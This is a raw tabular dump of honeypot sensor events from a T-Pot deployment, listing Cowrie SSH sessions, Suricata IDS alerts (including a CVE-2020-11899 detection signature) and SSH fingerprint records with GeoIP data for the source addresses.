28842	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:20:49.948546+03	2021-09-20 14:30:03.359523+03	{"_id": "UwbvAnwBvYTbRNuE6jGv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "373d7f38ef6e", "@version": "1", "duration": 180.28252291679382, "timestamp": "2021-09-20T11:20:49.948546Z", "@timestamp": "2021-09-20T11:20:49.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
28843	107.173.209.238	109.199.241.180	Suricata	2021-09-20 14:20:54.892027+03	2021-09-20 14:30:03.360524+03	{"_id": "bwbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "flow_id": 1992377054400114, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 42034, "dest_port": 22, "timestamp": "2021-09-20T11:20:54.892027Z", "@timestamp": "2021-09-20T11:20:54.892Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28844	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:20:54.668182+03	2021-09-20 14:30:03.362523+03	{"_id": "cAbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:54.668182+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557293572630, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:20:54.668182Z", "@timestamp": "2021-09-20T11:20:54.668Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28845	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:20:55.38746+03	2021-09-20 14:30:03.363523+03	{"_id": "awbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:55.387460+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 70}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 1298720508864900, "payload": "AAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:20:55.387460Z", "@timestamp": "2021-09-20T11:20:55.387Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...."}}	1	\N	\N	alert	\N	\N
28846	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:20:55.386832+03	2021-09-20 14:30:03.364523+03	{"_id": "cgbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:55.386832+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187313121040, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:20:55.386832Z", "@timestamp": "2021-09-20T11:20:55.386Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28847	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:54.941172+03	2021-09-20 14:30:03.365525+03	{"_id": "dAbwAnwBvYTbRNuEATEq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39974, "timestamp": "2021-09-20T11:20:54.941172", "@timestamp": "2021-09-20T11:20:54.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28848	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:20:55.116312+03	2021-09-20 14:30:03.367523+03	{"_id": "dwbwAnwBvYTbRNuEAjEi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "05bf291454a3", "@version": "1", "timestamp": "2021-09-20T11:20:55.116312Z", "@timestamp": "2021-09-20T11:20:55.116Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28849	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:20:56.313073+03	2021-09-20 14:30:03.368524+03	{"_id": "ewbwAnwBvYTbRNuEAzHV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:55.386832+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187313121040, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:20:56.313073Z", "@timestamp": "2021-09-20T11:20:56.313Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28850	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:20:57.092855+03	2021-09-20 14:30:03.369524+03	{"_id": "fAbwAnwBvYTbRNuECTHz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "05bf291454a3", "@version": "1", "duration": 2.154167890548706, "timestamp": "2021-09-20T11:20:57.092855Z", "@timestamp": "2021-09-20T11:20:57.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28851	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:20:55.115669+03	2021-09-20 14:30:03.370523+03	{"_id": "bAbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:20:54.758270+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 606719673012734, "payload": "AAADzAYU0R9HB1rBuCM37tEd/ivUAAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39974, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:20:55.115669Z", "@timestamp": "2021-09-20T11:20:55.115Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........G.Z..#7....+.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28852	fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d	109.199.241.180	Suricata	2021-09-20 14:20:55.386832+03	2021-09-20 14:30:03.372524+03	{"_id": "cQbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:55.386832+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:2442:f6b1:e0eb:5c2d", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1864187313121040, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:20:55.386832Z", "@timestamp": "2021-09-20T11:20:55.386Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28853	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:20:54.95313+03	2021-09-20 14:30:03.373524+03	{"_id": "agbvAnwBvYTbRNuE_zHt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:20:54.668182+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 180}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557293572630, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:20:54.953130Z", "@timestamp": "2021-09-20T11:20:54.953Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
28854	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:20:55.115669+03	2021-09-20 14:30:03.374523+03	{"_id": "dgbwAnwBvYTbRNuEATEq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 39974, "dest_port": 22, "timestamp": "2021-09-20T11:20:55.115669", "@timestamp": "2021-09-20T11:20:55.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28855	107.173.209.238	109.199.241.180	Fatt	2021-09-20 14:20:54.892252+03	2021-09-20 14:30:03.376524+03	{"_id": "dQbwAnwBvYTbRNuEATEq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 42034, "dest_port": 22, "timestamp": "2021-09-20T11:20:54.892252", "@timestamp": "2021-09-20T11:20:54.892Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
